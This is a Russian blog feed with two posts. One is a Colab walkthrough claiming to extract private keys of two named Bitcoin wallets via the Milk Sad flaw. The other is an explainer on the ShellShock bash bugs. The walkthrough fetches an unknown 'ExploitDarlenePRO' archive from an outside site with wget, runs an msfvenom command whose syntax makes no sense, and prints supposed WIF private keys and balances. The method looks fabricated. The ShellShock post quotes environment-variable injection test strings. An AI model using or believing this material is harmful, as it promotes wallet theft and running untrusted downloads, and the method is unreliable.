}

Полную развернутую документацию теоретической части можно изучить в блоге: Ledger Donjon , а также в документации: Milk Sad

Перейдем к практической части:

(Вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab )


https://colab.research.google.com/drive/1OhspSm7GBGiqv3WfhAqU5SJ_BgXIbUh3


Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
https://github.com/demining/CryptoDeepTools/tree/main/25MilkSadVulnerability

Рассмотрим реальные примеры извлечение приватного ключа Биткоин Кошелька с помощью уязвимости в библиотеке Libbitcoin Explorer 3.x,


Первый Биткоин Кошелек: В сентябре 2023 года была кража на сумму: 40886.76 долларов США // БИТКОИН: 1.17536256 BTC

Vulnerability_in_Libbitcoin_Explorer_3_x_library.ipynb


Откроем сервис Google Colab по ссылке: https://colab.research.google.com

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Нажимаем на "+" и “Создаем новый блокнот”

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Установим Ruby в Google Colab

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Для запуска необходимых нам программ установим объектно-ориентированный язык программирования Ruby

!sudo apt install ruby-full

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Проверим версию установки

!ruby --version
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]


Установим библиотеку 'bitcoin-ruby' для взаимодействия с протоколом/сетью Биткоин

!gem install bitcoin-ruby

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Установим библиотеку 'ecdsa' для реализации алгоритма цифровой подписи на эллиптической кривой (ECDSA)

!gem install ecdsa

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Установим библиотеку 'base58' для преобразования целых или двоичных чисел в base58 и обратно.

!gem install base58

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Установим библиотеку 'crypto' чтобы упростить операции с байтами и основными криптографическими операциями

!gem install crypto

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Установим библиотеку 'config-hash' чтобы упростить работу с большими данными.

!gem install config-hash -v 0.9.0

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Установим Metasploit Framework и воспользуемся MSFVenom

Установим Metasploit Framework из GitHub и воспользуемся инструментом MSFVenom для создания полезной нагрузки.

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Посмотрим содержимое папки "metasploit-framework"

ls

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Опции:

!./msfvenom -help 
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Откроем обнаруженную уязвимость CVE-2023-39910


Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39910

В примечание мы видим ссылку на файл: pseudo_random.cpp

Откроем код:

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
https://github.com/libbitcoin/libbitcoin-system/blob/a1b777fc51d9c04e0c7a1dec5cc746b82a6afe64/src/crypto/pseudo_random.cpp#L66C12-L78


libbitcoin-system Bitcoin Cross-Platform C++ Development Toolkit

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
https://github.com/libbitcoin/libbitcoin-system.git

Установим libbitcoin-system в Google Colab:

!git clone https://github.com/libbitcoin/libbitcoin-system.git


ls


Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Откроем уязвимый файл: pseudo_random.cpp через утилиту cat

cat libbitcoin-system/src/crypto/pseudo_random.cpp

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Откроем папки по каталогу: /modules/exploits/

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

ExploitDarlenePRO

Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/e8e4973fb52934d5fb0006a47304f5099701000619d9ac79c083664e6063c579/ExploitDarlenePRO.zip

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip

!unzip ExploitDarlenePRO.zip
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Перейдем по каталогу: /ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Для запуска эксплойта перейдем обратно к Metasploit Framework

cd /

cd content/metasploit-framework/

ls

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины.

Запустим команды:

!ip addr
!hostname -I
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Воспользуемся инструментом для создания полезной нагрузки MSFVenom

Для эксплуатации выбираем Биткоин Кошелек: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

Команда запуска:

!./msfvenom 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Результат:

1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011

Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo

Команда:

!echo '1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011' > binary.txt
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька:

Воспользуемся кодом:

binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")

# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
    binaryCode = line.replace(" ", "")
    hexCode = hex(int(binaryCode, 2))
    hexCode = hexCode.replace("0x", "").upper().zfill(4)
    hexFile.write(hexCode + "\n")

# close hexFile
hexFile.close()
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Откроем файл: hex.txt

cat hex.txt
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B

Приватный Ключ Найден!


Установим модуль Bitcoin

!pip3 install bitcoin
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Запустим код для проверки соответствие Биткоин Адреса:

from bitcoin import *

with open("hex.txt","r") as f:
    content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()


outfile = open("privtoaddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Откроем файл: privtoaddr.txt

cat privtoaddr.txt
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Результат:

C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B:12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

Все верно! Приватный ключ соответствует Биткоин Кошельку.

Откроем bitaddress и проверим:

ADDR: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2
WIF:  L3m4xHPEnE2yM1JVAY2xTzraJsyPERxw2Htt3bszbTiDn5JiZCcy
HEX:  C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

https://www.blockchain.com/en/explorer/addresses/btc/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2


Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

BALANCE: $ 40886.76


Рассмотрим второй пример:


2

Рассмотрим второй пример извлечение приватного ключа Биткоин Кошелька с помощью уязвимости в библиотеке Libbitcoin Explorer 3.x,


Второй Биткоин Кошелек: В сентябре 2023 года была кража на сумму: 19886.91 долларов США // БИТКОИН: 0.58051256 BTC

Снова воспользуемся уязвимым файлом: pseudo_random.cpp

Команда запуска:

!./msfvenom 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Результат:

111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100

Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo

Команда:

!echo '111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100' > binary.txt
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька:

Воспользуемся кодом:

binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")

# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
    binaryCode = line.replace(" ", "")
    hexCode = hex(int(binaryCode, 2))
    hexCode = hexCode.replace("0x", "").upper().zfill(4)
    hexFile.write(hexCode + "\n")

# close hexFile
hexFile.close()
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Откроем файл: hex.txt

cat hex.txt
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC

Приватный Ключ Найден!


Запустим код для проверки соответствие Биткоин Адреса:

from bitcoin import *

with open("hex.txt","r") as f:
    content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()


outfile = open("privtoaddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Откроем файл: privtoaddr.txt

cat privtoaddr.txt
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC:1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe

Результат:

79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC:1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe

Все верно! Приватный ключ соответствует Биткоин Кошельку.


Откроем bitaddress и проверим:

ADDR: 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe
WIF:  L1H4Eu2et8TWYQ3kv9grtPGshikGN398MVJkN6zYMikcpQTB96UN
HEX:  79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

https://www.blockchain.com/en/explorer/addresses/btc/1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe


Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

BALANCE: $ 19886.91


References:


Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://dzen.ru/video/watch/65478a2f6d9f3f7ec9641804

Источник: https://cryptodeeptool.ru/milk-sad-vulnerability-in-libbitcoin-explorer


Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Сообщение Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) появились сначала на «CRYPTO DEEP TOOLS».

]]>
ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи https://cryptodeeptool.ru/shellshock-attack-on-bitcoin/ Sat, 09 Sep 2023 06:04:52 +0000 https://cryptodeeptool.ru/?p=3633 В этой статье мы рассмотрим серию программных уязвимостей на веб-сервера, обнаруженных в программе GNU Bash . Множество интернет-сервисов, в том числе веб-сервера блокчейна Биткоин, используют Bash для обработки некоторых запросов, например при исполнении CGI–скриптов. Уязвимость позволяет атакующему исполнять произвольные команды, получив неправомерный доступ к компьютерным системам, что позволяет злоумышленнику извлекать приватные ключи и скрытые данные сервера. Shellshock — это не что иное, как […]

Сообщение ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи появились сначала на «CRYPTO DEEP TOOLS».

]]>


В этой статье мы рассмотрим серию программных уязвимостей на веб-сервера, обнаруженных в программе GNU Bash . Множество интернет-сервисов, в том числе веб-сервера блокчейна Биткоин, используют Bash для обработки некоторых запросов, например при исполнении CGIскриптов. Уязвимость позволяет атакующему исполнять произвольные команды, получив неправомерный доступ к компьютерным системам, что позволяет злоумышленнику извлекать приватные ключи и скрытые данные сервера.

Shellshock — это не что иное, как уязвимость удаленного выполнения кода в bash. Это связано с тем, что bash неправильно выполняет завершающие команды при импорте определения функции, хранящегося в переменной среды.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

GitHub


BugShellshock влияет на Bash. Bash — это программа, которую различные системы на базе Unix используют для выполнения командных строк и командных сценариев. Баг была обнаружена 5 августа 1989 года и выпущена в версии Bash 1.03 1 сентября 1989 года. Shellshock — это уязвимость повышения привилегий, которая дает пользователям системы возможность выполнять команды, которые должны быть для них недоступны.

Уязвимости заключаются в том, что Bash вопреки задекларированным возможностям производит исполнение команд при получении некоторых нестандартных значений переменных окружения (environment). За несколько дней после публикации оригинальной уязвимости было обнаружено несколько сходных ошибок, что не позволило оперативно издать версию с исправлениями.

Stéphane Chazelas

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Изначальная ошибка была обнаружена Стефаном Шазеля  (фр. Stéphane Chazelas) 12 сентября 2014 года, который предложил назвать её «bashdoor» (созвучно backdoor). Уязвимость получила в базе MITRE номер CVE-2014-6271 и оставалась неопубликованной (находилась под эмбарго) до 14 часов по UTC 24 сентября. Цель вышеуказанного ограничения заключалась в том, что авторы программы, создатели дистрибутивов и иные заинтересованные организации получили время принять необходимые меры.

Анализ исходного кода Bash свидетельствует, что уязвимость была заложена в код приблизительно в версии 1.13 в 1992 году или ранее и с тех пор оставалась необнаруженной среди общей публики и незадекларированной. Группа авторов Bash затрудняется в определении точного времени внедрения ошибки из-за недостаточно подробной истории изменений (changelog).

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Security Experts Expect ‘Shellshock’ Software Bug in Bash to Be Significant

25 сентября 2014 года на базе уязвимости уже были созданы ботнеты для проведения DoS- и DDoS-атак, а также для сканирования уязвимостей. Предполагается, что уязвимы миллионы систем. Ошибка получила максимальную оценку по шкале опасности и сравнивается по значению с Heartbleed — ошибкой в OpenSSL (апрель 2014)

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи
ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Уязвимость Shellshock (bashdoor) относится к программе bash (разрабатывается в рамках проекта GNU), используемой во множестве Unix-подобных операционных систем и дистрибутивов в качестве интерпретатора командной строки и для исполнения командных скриптов. Часто устанавливается в качестве системного интерпретатора по умолчанию.

В Unix-подобных и других поддерживаемых bash операционных системах каждая программа имеет список пар имя-значение, называемый переменными среды (англ. environment variable). Когда одна программа запускает другую, то также передается изначальный список переменных среды. Кроме переменных среды, bash также поддерживает внутренний список функций — именованных скриптов, которые могут вызываться из исполняемого скрипта bash. При запуске новых экземпляров bash из существующего bash возможна передача (экспортирование, export) значений существующих переменных окружения и определений функций в порождаемый процесс. Определения функций экспортируются путём кодирования их в виде новых переменных окружения специального формата, начинающегося с пустых скобок (), за которыми следует определение функции в виде строки. Новые экземпляры bash при своем запуске сканируют все переменные среды, детектируя данный формат и преобразовывая его обратно в определение внутренней функции. Данное преобразование проводится путём создания фрагмента bash-кода на базе значения переменной среды и его исполнения, то есть «на лету» (англ. on-the-fly). Подверженные уязвимости версии bash не производят проверок, что исполняемый фрагмент содержит лишь определение функции. Таким образом, если злоумышленник имеет возможность подать произвольную переменную среды в запуск bash, то появляется возможность исполнения произвольных команд.

27 сентября был опубликован качественный патч, который добавляет ко всем экспортируемым и импортируемым функциям специальный префикс при их преобразовании в переменные окружения и обратно[15].

В тот же день, когда была опубликована информация об оригинальной уязвимости и патчи, исправляющие её, Tavis Ormandy обнаружил новую родственную ошибку CVE-2014-7169. Обновлённые исправления стали доступны 26 сентября.

Во время работы над исправлением оригинальной ошибки Shellshock, исследователь компании Red Hat, Florian Weimer обнаружил ещё две ошибки: CVE-2014-7186 и CVE-2014-7187.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

26 сентября 2014 два разработчика open-source, David A. Wheeler и Norihiro Tanaka заметили, что существуют дополнительные проблемы, всё ещё не исправленные патчами, доступными на тот момент. В своём электронном письме в почтовые списки рассылок «oss-sec» и «bash bug» Wheeler писал:

Этот патч лишь продолжает работы типа «прибей крота» (whac-a-mole) по исправлению различных ошибок разбора, начатый первым патчем. Парсер bash конечно же содержит много много много других уязвимостей.

27 сентября 2014, Michal Zalewski анонсировал, что обнаружил несколько других ошибок в bash, одна из которых использует то, что bash часто компилируется без использования техники защиты ASLR (Address Space Layout Randomization). Zalewski также призвал срочно применить патч от Florian Weimer.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Рандомизация адресного пространства препятствует некоторым типам атак на безопасность, усложняя злоумышленнику предсказание целевых адресов. Например, злоумышленники, пытающиеся выполнить атаку с возвратом в библиотеку[Return-to-libc_attack], должны найти код, который будет выполнен, в то время как другие злоумышленники, пытающиеся выполнить Shellcode, внедренный в стек, должны сначала найти стек. В обоих случаях система скрывает от злоумышленников соответствующие адреса памяти. Эти значения необходимо угадать, а ошибочное предположение обычно невозможно исправить из-за сбоя приложения.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи
ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Рандомизация макета адресного пространства основана на низкой вероятности того, что злоумышленник угадает расположение случайно расположенных областей. Безопасность повышается за счет увеличения пространства поиска. Таким образом, рандомизация адресного пространства более эффективна, когда в случайных смещениях присутствует большая энтропия . Энтропия увеличивается либо за счет увеличения объема области виртуальной памяти , в которой происходит рандомизация, либо за счет уменьшения периода, в течение которого происходит рандомизация. Период обычно реализуется как можно меньшим, поэтому большинство систем должны увеличить рандомизацию пространства VMA.

Чтобы обойти рандомизацию, злоумышленники должны успешно угадать позиции всех областей, которые они хотят атаковать. Для таких областей данных, как стек и куча, куда можно загрузить собственный код или полезные данные, можно атаковать более одного состояния с помощью слайдов NOP для кода или повторяющихся копий данных. Это позволяет атаке добиться успеха, если область рандомизирована по одному из нескольких значений. Напротив, такие области кода, как база библиотеки и основной исполняемый файл, должны быть точно обнаружены. Часто эти области смешиваются, например, в стек вставляются кадры стека , а в него возвращается библиотека.

The following variables can be declared:

  • {\displaystyle E_{s}}E_{s} (entropy bits of stack top)
  • {\displaystyle E_{m}}E_{m} (entropy bits of mmap() base)
  • {\displaystyle E_{x}}E_x (entropy bits of main executable base)
  • {\displaystyle E_{h}}E_{h} (entropy bits of heap base)
  • {\displaystyle A_{s}}A_s (attacked bits per attempt of stack entropy)
  • {\displaystyle A_{m}}A_{m} (attacked bits per attempt of mmap() base entropy)
  • {\displaystyle A_{x}}A_x (attacked bits per attempt of main executable entropy)
  • {\displaystyle A_{h}}A_h (attacked bits per attempt of heap base entropy)
  • {\displaystyle \alpha }\alpha  (attempts made)
  • {\displaystyle N}N (total amount of entropy: {\displaystyle N=(E_{s}-A_{s})+(E_{m}-A_{m})+(E_{x}-A_{x})+(E_{h}-A_{h})\,}{\displaystyle N=(E_{s}-A_{s})+(E_{m}-A_{m})+(E_{x}-A_{x})+(E_{h}-A_{h})\,})

Чтобы вычислить вероятность успеха злоумышленника, мы должны предположить, что количество попыток α было выполнено без прерывания сигнатурной IPS, правоохранительными органами или другим фактором; в случае брутфорса демон не может быть перезапущен. Нам также необходимо выяснить, сколько бит имеет значение и сколько подвергается атаке при каждой попытке, оставляя столько битов, которые атакующий должен победить.

Следующие формулы представляют вероятность успеха для данного набора α -попыток на N битах энтропии.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Во многих системах{\displaystyle 2^{N}}2^Нмогут исчисляться тысячами или миллионами; в современных 64-битных системах эти числа обычно достигают как минимум миллионов, Hector Marco-Gisbert and Ismael Ripoll показали в 2014 году, как обойти ASLR в 64-битных системах менее чем за одну секунду при определенных обстоятельствах.  

On the Effectiveness of Full-ASLR on 64-bit Linux

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Для 32-битных систем на компьютерных скоростях 2004 года, которые имеют 16 бит для рандомизации адресов, Шачам и его коллеги утверждают, что «… 16 бит рандомизации адресов можно преодолеть с помощью грубой атаки Brute-force attack за считанные минуты».

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

  Заявление авторов зависит от возможности атаковать одно и то же приложение несколько раз без каких-либо задержек. Правильные реализации ASLR, например, включенные в grsecurity, предоставляют несколько способов сделать такие атаки методом перебора невозможными. Один из методов предполагает предотвращение выполнения исполняемого файла в течение настраиваемого периода времени, если он произошел сбой определенное количество раз.

Android,  и, возможно, другие системы, реализовать рандомизацию порядка загрузки библиотек — форму ASLR, которая рандомизирует порядок загрузки библиотек. Это обеспечивает очень небольшую энтропию. Ниже приведено приблизительное количество бит энтропии, предоставленной для каждой необходимой библиотеки; это еще не учитывает различные размеры библиотек, поэтому фактическая полученная энтропия действительно несколько выше. Обратите внимание, что злоумышленникам обычно нужна только одна библиотека; математика более сложна с несколькими библиотеками и также показана ниже. 

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Обратите внимание, что случай, когда злоумышленник использует только одну библиотеку, представляет собой упрощение более сложной формулы:

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Эти значения имеют тенденцию быть низкими даже для больших значений l , что наиболее важно, поскольку злоумышленники обычно могут использовать только стандартную библиотеку C , и поэтому часто можно предположить, что{\displaystyle \beta \,=1}\бета \,=1. Однако даже для небольшого количества библиотек здесь можно получить некоторый выигрыш в энтропии; Таким образом, потенциально интересно объединить рандомизацию порядка загрузки библиотеки со рандомизацией адресов VMA, чтобы получить несколько дополнительных бит энтропии. Обратите внимание, что эти дополнительные биты энтропии не будут применяться к другим сегментам mmap(), а только к библиотекам.

Уменьшение энтропии:


Список уязвимостей:

CVE-2014-6271

Оригинальный bashdoor: переменная окружения специального вида состоит из определения экспортируемой функции, за которым следуют произвольные команды. Bash уязвимых версий исполняет эти произвольные команды во время своего запуска. Пример ошибки:env x='() { :;}; echo Уязвим’ bash -c “echo Тестовая печать”

В уязвимых системах этот тест напечатает фразу «Уязвим», выполнив команду из переменной окружения x.

CVE-2014-6277

На 29 сентября детали уязвимости публично не раскрывались.

CVE-2014-6278

На 29 сентября детали уязвимости публично не раскрывались.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

CVE-2014-7169

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Обнаружено Tavis Ormandy во время работы над CVE-2014-6271:

env X='() { (a)=>\' sh -c "echo date"; cat echo

Тест приводит к тому, что «echo» становится именем файла для перенаправления вывода, а «date» исполняется. Ошибка получила номер CVE-2014-7169.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Пример ошибки 7169 на системе, получившей исправление ошибки CVE-2014-6271 но не ошибки CVE-2014-7169:[32]$ X='() { (a)=>\’ bash -c “echo date” bash: X: line 1: syntax error near unexpected token `=’ bash: X: line 1: `’ bash: error importing function definition for `X’ [root@ ec2-user]# cat echo Fri Sep 26 01:37:16 UTC 2014

Исправление обеих ошибок CVE-2014-6271 и CVE-2014-7169 приведет к неработоспособности теста:$ X='() { (a)=>\’ bash -c “echo date” date $ cat echo cat: echo: No such file or directory

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

CVE-2014-7186

